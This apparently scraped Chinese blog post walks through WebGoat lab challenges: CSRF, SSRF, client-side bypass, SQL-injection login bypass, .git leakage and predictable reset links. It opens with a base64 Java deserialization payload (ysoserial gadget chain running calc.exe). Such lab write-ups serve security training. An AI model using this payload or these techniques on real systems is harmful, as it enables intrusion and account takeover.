YXRvcnQAIkxvcmcvaGliZXJuYXRlL3R1cGxlL0luc3RhbnRpYXRvcjtbAAdzZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hwAAAAAAB1cgArW0xvcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyOyaF-ANJPbfPAgAAeHAAAAABc3IAPW9yZy5oaWJlcm5hdGUucHJvcGVydHkuYWNjZXNzLnNwaS5HZXR0ZXJNZXRob2RJbXBsJFNlcmlhbEZvcm2sW7ZWyd0bWAIABEwADmNvbnRhaW5lckNsYXNzcQB-ABNMAA5kZWNsYXJpbmdDbGFzc3EAfgATTAAKbWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wADHByb3BlcnR5TmFtZXEAfgAfeHB2cgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB-AB9MABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cHEAfgAldAATZ2V0T3V0cHV0UHJvcGVydGllc3QABHRlc3RwcHBwcHBwcHBwdXIAGltMb3JnLmhpYmVybmF0ZS50eXBlLlR5cGU7fq-roeSVYZoCAAB4cAAAAAFxAH4AEXBzcQB-ACEAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAAAacyv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk_OR3e8-AQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ-AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyMTgyMzg3NDYzNzcxMDABAB9MeXNvc2VyaWFsL1B3bmVyMTgyMzg3NDYzNzcxMDA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA_AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAtAAAB1Mr-ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ABXNxAH4AAnEAfgARcQB-ACpxAH4AMXg=

一连点了好多下,两个都没反应,怎么肥四,难道又翻车?

大意了吧,这个不是本机,肯定得去搭建webgoat的服务器上看了

唉呀妈呀

(A9) Vulnerable Components Vulnerable Components组件漏洞

1-4

引入供应链

什么是供应链攻击

从出口设备(网关)到核心设备(中间件)到应用,这条路上,有任何一个地方被攻破,这条路上就不安全,攻不进去应用,可以攻击中间件,攻不进去中间件, 可以看看F5,IPS等

开源组件已被广泛应用,tomcat,fastjson,weblogic等等

2013年的top10就已经开始关注中间件这类问题

当这一课开始时,WebGoat在其组件中包含了十几个高安全风险。其中大多数都不是经过深思熟虑的选择

5

jquery-ui 的xss漏洞。这个题目也是提醒我们使用第三方组件的时候一定要小心,最好能在官网下载,Payload都帮你写好了

点击执行一下吧

6

安全开发,需要我们知道中间件的版本,安全的版本,受影响的版本,等等。。

7-11

开源组件审核,确实很有必要,管好我们的maven库

组件建议都保持最新版本的

参考本文章vulhub,多学习学习中间件的漏洞吧

网上给的payload,还说是webgoat给的执行不了,我也是笑了

废话,您是mac吗,我是windows

真正的payload:

foo java.lang.Comparable ipconfig start

foo java.lang.Comparable calc start

12

升级,升级,升级重要的事情说三遍

而且SRC很重要

(A8:2013) Request Forgeries Cross-Site Request Forgeries跨站请求伪造

1-2

webgoat解释了跨站请求伪造

这里说说我的理解吧

一般会出现在写操作更有价值,不过读操作也可以用,这里面充满著钓鱼、社工

所以点了链接就中招

3

让你通过跨站去执行提交查询这个操作,然后返回的flag就是答案

直接点击提交查询,就不会给你正常的结果

在这里我用的是BP自带的CSRF检测工具

可以参考本文章DVWA中的具体操作

12625

我看旁边有个webwolf的标志,貌似也能从webwolf上执行,或者自己写个站点,是访问这个接口,都行

4

让别人进行留言,这道题目原意是让你写一个攻击页面,然后其他用户访问这个页面后,就会在留言板留言一条,但是这在程序判断上不好实现,所以此题目是判断你提交留言的包里host值和referer值是否一样,不一样则通过。

自己提交评论还不让提交了,只有一只猫在盯着你

那就继续用BP的CSRF Poc,要把标志位改成true哦

*5-*6

CSRF的 防御,我就当个工具人,把百度翻译贴过来

l 框架

大多数框架现在都默认支持防止CSRF。例如,对于Angular,拦截器默认从cookie读取令牌XSRF-token并将其设置为HTTP头X-XSRF-token。由于只有在域上运行的代码才能读取cookie,所以后端可以确定HTTP请求来自客户端应用程序,而不是攻击者

为了使其正常工作,后端服务器在cookie中设置令牌。不应将此cookie的值标记为只读取此cookie的值。每次向服务器发出请求时,Angular都会将令牌作为HTTP头放入X-XSRF-token中。服务器可以验证这两个令牌是否匹配,这将确保服务器请求在同一个域上运行。

要点:定义一个单独的COOKIE,不要重用会话COOKIE

请记住,会话cookie应始终使用http only标志进行定义。

l 自定义标头不安全

另一种防御方法是为每个调用添加一个自定义请求头。如果与服务器的所有交互都是用JavaScript执行的,这就可以了。在服务器端,您只需要检查这个头是否存在,如果这个头不存在,就拒绝请求。有些框架在默认情况下提供了这种实现,但是研究人员alexinfuhr发现这也可以绕过。你可以阅读:Adobe Reader PDF-客户端请求注入

貌似,改这个字段是有效的方法

Content-Type

7

继续攻击

点Send没反应

好像webwolf还没出场,这一关用webwolf吧

祭出webwolf吧

构造poc

csrf02

上传到webwolf上(相当于开了个站点)

试了半天,不是很会用,算了不打脸了,我祭出eclipse,制造一个钓鱼链接

还用刚刚的代码,发布一个站点

添加项目,开启tomcat

访问,我tomcat是用3333启动的

localhost:3333/CSRF/csrf.html

还是失败,多次尝试都未果

在网上查了些资料,,使用这个payload即可

csrf03

访问

localhost:3333/CSRF/csrf3.html

就是这个,这个是随机的,复制我的也没用

d7152678-9a34-4812-8968-83448ec0d424

虽然通过了但是很不爽,折腾了一大圈,总得知道为啥有问题吧,把两端代码比对一下

csrf02

把相同的删除后得到

csrf02

一种是通过name获取表单提交,一种是使用ID,原来是ID获取失败,因为在第一个的script加入alert,并没有执行,绕了一大圈,哼!

8

这一关很好理解,主要讲的是登录页面存在CSRF,不过现在一般没有,因为安全设计里都会要求验证码。

分析一波,登录出如果存在CSRF,会是什么样呢?

黑客制造一个恶意链接,这个链接是像存在CSRF的登录出提交黑客自己的用户,那么当用户点击这个链接,是不是就以黑客的这个用户登进去了,一般安全意识低用户,就会以为URL换了吧?也不可能登进去立马就看看是不是自己的用户,很有可能在做了很多操作后,发现不是自己的权限,才会警觉,这不是我的用户,那么期间,所有的操作,都被黑客的这个用户记录下来了

按照刚刚思路开始

我原来的用户

aaaaaa

password

现在创建一个

csrf-aaaaaa

password

构建恶意连接

先查看提交表单的字段名称,登录处抓包,显然为username和password,并且可以看到登录的API

csrf04

接下来只要让用户点击这个链接

localhost:3333/CSRF/csrf4.html

跳转倒是跳转过来了,但总是报错

没办法了,祭出BP吧,一定记住,这里字段是你抓包时候的值,修改这俩字段,不该就是铁憨憨

搞定

9

CSRF的防护

相同站点才给你cookie

(A8:2013) Request Forgeries Server-Side Request ForgerySSRF服务器端请求伪造

1

三角恋

比较抽象,简单来说,C是对外站点,A是黑客,B是内网,A无法访问B,但是由C可以像B发请求,如果C存在SSRF,就可以利用C去向B发请求

2

改变URL,显示Jerry信息

点击按钮,正常获取的是Tom的信息

点击按钮后,抓包

修改为jerry,再转发

似曾相识的感觉有没有

3

改变URL来展示ifconfig.pro的配置,先点点Run按钮

呵,让我遵守游戏规则。

那我就老老实实抓包

点击Run,抓包,重放

分析一波,题目说改URL要访问ifconfig.pro这个文件,那现在url参数后面images不就是文件吗,直接替换成:

http://ifconfig.pro

点Go后,延迟了一两秒,还以为有问题,不过最后都获取了,IP啥的都有了

4

SSRF防护

工具人:

使用允许的域、资源和协议的白名单,web服务器可以从中获取资源。

如果用户接受的任何输入与预期的正规范不匹配,则应验证并拒绝输入。

如果可能,不要在控制web服务器可以从何处获取资源的函数中接受用户输入。

Client side Bypass front-end restrictions绕过前端

1

前端的很多脚本,检测,都是可以修改,绕过的

2

发送一个绕过这四个字段的请求

直接提交,不让通过,还以为能混过去呢

点击提交,抓包,有四个参数

把每个参数值随便加一个字母或数字,然后转发

可见,服务器没有做严格判断,修改下拉列表的值,服务器都能返回正常相应

3

通常,有一些机制可以防止用户向服务器发送更改过的字段值,例如在发送前进行验证。大多数流行的浏览器如Chrome都不允许在运行时编辑脚本。我们将不得不以其他方式规避验证

题目要求:发送一个不满足所有字段中上方正则表达式的请求,说简单,正则绕过

Field 1: exactly three lowercase characters(^[a-z]{3}$)

以小写字母开头,以小写字母结尾,有三位

说白了就是三位小写字母

Field 2: exactly three digits(^[0-9]{3}$)

以数字开头,以数字结尾,有三位

说白了就是三位数字

Field 3: letters, numbers, and space only(^[a-zA-Z0-9 ]*$)

以数字字母空格开始,以数字字母空格结束,多位

那就是只允许数字字母空格

Field 4: enumeration of numbers (^(one|two|three|four|five|six|seven|eight|nine)$)

one|two|three|four|five|six|seven|eight|nine这里面只能通过一个

Field 5: simple zip code (^\d{5}$)

数字1-9并且只能5位,5位数字

Field 6: zip with optional dash four (^\d{5}(-\d{4})?$)

这个大家猜都能猜到吧,5位数字-4位数字(这-四位数字出现1次或0次)

Field 7: US phone number with or without dashes (1\d{2}-?\d{3}-?\d{4}$)

第一位2-9,二三位两位数字-(-出现1次或0次)三位数字-(-出现1次或0次)四位数字

费了半天劲,了解这些,其实和本题基本无关,因为直接抓包修改参数了

我这里也懒得设计了,直接就用网上改好的吧

field1=ac&field2=1df23&field3=abc+1s,df23+ABC&field4=sesdf56ven&field5=0110sd1&field6=9021sdf0-1111&field7=301-6dfs04-4882&error=0

Client side Client side filtering客户端过滤

1

略吧

2

在这个练习中,您的任务是利用服务器返回的无关信息来发现您不应该访问的信息

薪酬信息管理系统。你是Moe Stooge,除了CEO :Neville Bartholomew.的信息,其他的员工信息都可以看到,所以这道题就是让你查出来CEO的工资,666

试了半天,以为是要抓包改,谁知道,这选择以后,连个请求都不发,那说明不是动态抓包修改,应该是页面静态的信息

F12搜一下Neville,450000,人比人气死人

3

手机购买系统,看这个系统,是让填一个码来买(要不就得掏钱)

访问这个URL,标红处,是返回打折码的接口,这个接口权限设置不严格

http://192.168.31.103:8080/WebGoat/clientSideFiltering/challenge-store/coupons

打折码为

get_it_for_free

来500部手机

看到这里,你会有个疑问,实际的时候该怎么利用,这里需要黑客通过高超的钓鱼和信息收集手段进行获取,需要知道获取打折码的URL接口

Client side HTML tamperingHTML篡改

1

略吧

2

在网上商店你订购了一台新电视,试着以较低的价格购买一台或多台电视机。

2999一台大彩电,点结账,说太贵了,让以更低价钱买

分析一波,要想以更低价买,要么把数量改大,要么把单价改小

点击checkout抓包重放

1块钱1台

3

长点心吧,服务器端做严格检测

Challenges Admin lost password管理员丢失密码

1

稍微高难度的CTF了,一般这种提示会很少,这么邪乎吗?

2

盲猜,是通过

随便写个密码登录一下抓包,无验证码,无锁定机制,说明登录可以爆破

显然这里需要用爆破了,我爆破了7天7页,都没爆破出来

换个思路

观察页面有个显眼的图片,F12查看图片的源

/WebGoat/challenge/logo

访问:

http://192.168.31.103:8080/WebGoat/challenge/logo

邮件把图片另存到本地

使用nodepad打开图片

虽然是乱码,但是ctrf+f搜索admin,你会有重大发现

!!webgoat_admin_6673!!

获取flag

48fcecc8-b7bd-4147-aa35-0cc4c3c66346

Challenges Without password无密码

1

Can you login as Larry?

使用Larry登录

没有任何提示,也没有图片藏着密码,点击Login抓包重放看看吧

这里看了一下,用户名填Larry,密码随便输入123,看见返回信息里面有SQL语句,把用户名密码解析了,是不是一种熟悉的感觉,莫非就是传说中的SQL注入,题目让用Larry登录,那我们试试绕过密码吧

分析一波,观察返回的信息,前面没有单引号需要我们闭合,那么:

用户名还是

Larry

密码

or true –

flag:

203f882f-53fc-46e1-8fbb-e5fbbd1a1a10

Challenges Admin password reset管理员密码重置

1

题目让重置admin密码

牵扯到发邮件,就要祭出webwolf了

俩都用本地启动

这个重置密码就是,填写邮件地址,然后通过邮件来重置密码

填入自己的邮件地址

aaaaaa@webgoat.com

webwolf已经收到邮件,查看邮件link

这个场景似曾相识,我们前面用过,推测是根据URL后面的字符串来判断是否是admin,显然这个不是,所以返回信息说这不是admin的重置密码链接

由此可得想要获取admin的重置密码链接,需要发送邮件到

admin@webgoat.com

并且要收到

或者获得那字符串token

动态,没什么思路了,静态呢,F12看看页面上有什么信息吧

搜索admin的时候,意外发现了一段在注释里面的代码

** Revision history (automatically added by: /challenge/7/.git/hooks)2e29cacb85ce5066b8d011bb9769b666812b2fd9 Updated copyright to 2017ac937c7aab89e042ca32efeb00d4ca08a95b50d6 Removed hardcoded keyf94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website

这个貌似是个仓库,我们需要访问一下这个仓库,访问方式为:

localhost:8080/WebGoat/challenge/7/.git/hooks

说找不到

那只访问.git呢

localhost:8080/WebGoat/challenge/7/.git

提示让下载git

.git后置文件也看不出来啥,一堆乱码

在这里需要引入一个编辑软件UE,前面ultraledit,这个工具可以看文件的二进制,下载地址

链接:https://pan.baidu.com/s/17qHR_Uik28VKhF2aw-lPUw

提取码:squa

下载完后,打开git

可以看到二进制的信息头

常见文件二进制信息头

https://blog.csdn.net/chenshukui8300/article/details/100920225

和zip刚好吻合,说明这是个zip文件

附:常见文件的文件头标识255044PDF 526563 EML D0CF11 PPT 4D5AEE COM E93B03 COM 4D5A90 EXE 424D3E BMP 49492A TIF 384250 PSD C5D0D3 EPS 0A0501 PCS 89504E PNG 060500 RAW 000002 TGA 60EA27 ARJ 526172 RAR 504B03 ZIP

修改后缀为zip

解压成文件夹后,用git bash打开

查看git状态

git status

可以看到删除了这些

使用

git log

查看git提交历史

使用

git reset --hard

回退版本

我都放一个文件夹里了,有点乱,但是,执行命令后都重新出现了

答案在哪里,相信各位都已经清楚了吧

当然是PasswordResetLink.class里面了,让我们开始揭晓答案吧

打扰了,需要反编译

使用JD

在百度上搜索关键词“jd-gui”,点击进入jd-gui的官方网站。

下载好,不能安装,双击exe就可以用,然后把刚刚那个文件拖进来

牛逼啊,方便快捷

分析一波源码

这里看网上大神的分析吧

其实看源码,能发现,生成link时使用了random.setSeed(),而这个就直接导致了本题的漏洞,设置了种子过后生成的就是伪随机数,就是说同一个种子每次生成的随机数是固定的

这个类是带主函数的,我们可以直接拷贝到eclipse中,运行一下,不就好了

但是过程貌似是依赖MD5,所以要把MD5一起带走

就是他俩,没错的

悄悄告诉你,我是手动复制粘贴的

运行PasswordResetLink中的主函数,在这里,主函数是带参数的,所以我们需要run config

填的参数是admin和webgoat,因为参数之间要用空格,所以最后写的是

admin webgoat

其实webgoat主要是指定有多少位,所以填xxxxxxx也一样的答案

把这个link复制出来

a081235eff82092a319374c24aaa7574

立马访问

http://localhost:8080/WebGoat/challenge/7/reset-password/a081235eff82092a319374c24aaa7574

结果惨败

看了一下,大神的教程,和我们passwordresetlink哪个class文件的源码不太一样,人家是有1个参数的,我这个有俩参数

参考他的源码

import java.util.Random; public class PasswordResetLink { public PasswordResetLink() { } public String createPasswordReset(String var1, String var2) { Random var3 = new Random(); if (var1.equalsIgnoreCase(“admin”)) { var3.setSeed((long)var2.length()); } return scramble(var3, scramble(var3, scramble(var3, MD5.getHashString(var1)))); } public static String scramble(Random var0, String var1) { char[] var2 = var1.toCharArray(); for(int var3 = 0; var3 < var2.length; ++var3) { int var4 = var0.nextInt(var2.length); char var5 = var2[var3]; var2[var3] = var2[var4]; var2[var4] = var5; } return new String(var2); } public static void main(String[] var0) { if (var0 == null || var0.length != 1) { System.out.println(“Need a username”); System.exit(1); } String var1 = var0[0]; String var2 = “!!keykeykey!!”; System.out.println("Generation password reset link for " + var1); System.out.println("Created password reset link: " + (new PasswordResetLink()).createPasswordReset(var1, var2)); }}

使用2版本的,还是带着参数运行,不过这里只有一个参数,就带着admin就好

运行完之后,还是有问题

但是我得到了一个关键信息,这个人的var2是:!!keykeykey!!

!!keykeykey!!

!!keykeykey!!有13位,很有可能我们在生成的时候,没有考虑那么多位,所以我们再次运行,运行一个的class或第二个class都行,因为这俩类其实没差多少,那么我这里运行第一个吧

参数1为

admin

参数2位

!!keykeykey!!

乖乖出来了

375afe1104f4a487a73823c50a9292a2

访问

localhost:8080/WebGoat/challenge/7/reset-password/375afe1104f4a487a73823c50a9292a2

拍手

flag

706f61ad-9f80-4b55-a21d-08611360ace9

还挺费劲

Challenges Without account无凭证

1

题目让你投票呢

但是点了点都没啥反应

让我投票,我点了,你还让我登录,不都是匿名投票的吗

点击投票抓包重放

分别修改请求的方式为

GET

POST

PUT

HEAD

最后发现HEAD成功

flag

141d151f-a32d-4b44-ba88-caeca5da89a2


  1. 2-9 ↩︎

webgoat全关教程手册相关推荐

  1. DVWA全关教程手册

    搭建 使用phpstudy 放入根目录下 C:\phpstudy\PHPTutorial\WWW 修改两个配置文件 C:\phpstudy\PHPTutorial\WWW\DVWA\php.ini m ...

  2. python语言教程-Python语言教程手册

    Python语言教程手册 Python是什么? 解释性语言 多范式 介绍 命令后>>>python Python 2.7.3 (default, Aug 1 2012, 05:14: ...

  3. unity3d教程手册首选项

    unity3d教程手册首选项 Unity 供给若干首选项面板,答应您自定义编辑器行动. 通常 ​ 主动改写 (Auto Refresh) 资源更改时编辑器是不是主动更新资源? 总是显现工程导游 (Al ...

  4. 即时通讯源码-即时通讯集群服务免费-通讯百万并发技术-Openfire 的安装配置教程手册-哇谷即时通讯集群方案-哇谷云-哇谷即时通讯源码

    即时通讯源码-即时通讯集群服务免费-通讯百万并发技术-Openfire 的安装配置教程手册-哇谷即时通讯集群方案-哇谷云 1,openfire开发环境配置 很久没有写点东西了.最近很烦心,领导不给力. ...

  5. 正则表达式教程手册、正则一点通(Chinar出品)

    C#语法之正则 本文提供全流程,中文翻译. Chinar 坚持将简单的生活方式,带给世人! (拥有更好的阅读体验 -- 高分辨率用户请根据需求调整网页缩放比例) Chinar -- 心分享.心创新! ...

  6. GitHub教程手册、使用流程

    简述GitHub的使用方法 本文提供全流程,中文翻译. Chinar坚持将简单的生活方式,带给世人! (拥有更好的阅读体验 -- 高分辨率用户请调整网页缩放比例至200%) 1 注册过GitHub的朋 ...

  7. 【资源下载】921页《用Python3带你从小白入门机器学习实战》教程手册

    ↑ 点击上方[计算机视觉联盟]关注我们 [导读]Python是当前机器学习最流行的使用编程语言.Matt Harasymczuk12月23日发布了最新使用Python3教你入门机器学习的手册,总共92 ...

  8. Halcon入门教程手册

    Halcom安装方法 Halcon下载连接 大恒图像为Halcon国内唯一代理商,需要购买正版联系大恒图像销售人员 一.Halcon软件界面介绍 二.Halcon自带例程,这里有大量识别检测程序案例 ...

  9. iapp教程从入门到精通全部,小白用的iapp教程手册

    iapp怎么用? 登入主界面后>点击左侧的>应用管理>再点击右上角的>马上制作您的APP.网上有很多教程视频,很好找的,你可以搜一下iapp手机上的编程软件,不少人觉得 实用性 ...

最新文章

  1. Configuration of OpenCV 2.4.7 in VS2012 (X86)
  2. Linux远程软件xshell的使用
  3. 【NLP】文本分类综述 (上)
  4. Boost:bind绑定类型测试
  5. PHP:第三章——PHP中控制函数的函数
  6. 科普 | 以链接为中心的系统:Link-based Systems
  7. 快速傅里叶变换(FFT)的C#实现及详细注释
  8. 分布式本质论:高吞吐、高可用、可扩展 (1)
  9. jsp论文参考文献(2020最新)
  10. AD9361_AD9371_AD9363_AD9364 对比
  11. VBA多工作簿中多工作表分类汇总
  12. pta mysql训练题集 (221-240)
  13. Python基础重点复习(5)
  14. 黑马程序员—[Android就业薪资] Android31期,毕业18个工作日,就业率71.95%,薪资9946元
  15. 动作捕捉,系数转换,IK 等整理总结
  16. 记一次失败的实战渗透
  17. post请求改成body_Post 方法参数写在body中和写在url中有什么区别?
  18. 获取表单 input框中输入的值
  19. c:\Windows\system32\ regsvr32.exe Windows无法访问指定设备、路径或文件,你可能没有适当的权限访问该项目
  20. A simp task WOJ

热门文章

  1. 天选2无法连接WiFi解决方案(MT7921网卡问题)
  2. 程序员专属壁纸十七张
  3. ORACLE错误代码对照表
  4. Docker基础-使用Dockerfile创建镜像
  5. IM聊实现客户端之间信息交互需求文档
  6. 一阶常微分方程(二)|全微分方程+线性方程+常数易变法+伯努力方程
  7. Redis:字符串INCR、INCRBY、INCRBYFLOAT、DECR、DECRBY命令介绍
  8. linux 加路由 网络不可达,无法添加静态路由:SIOADDRT:网络不可达
  9. 盘点 35 个 Apache 顶级项目,我拜服了…
  10. Radware荣获ICSA实验室“卓越信息安全测试奖”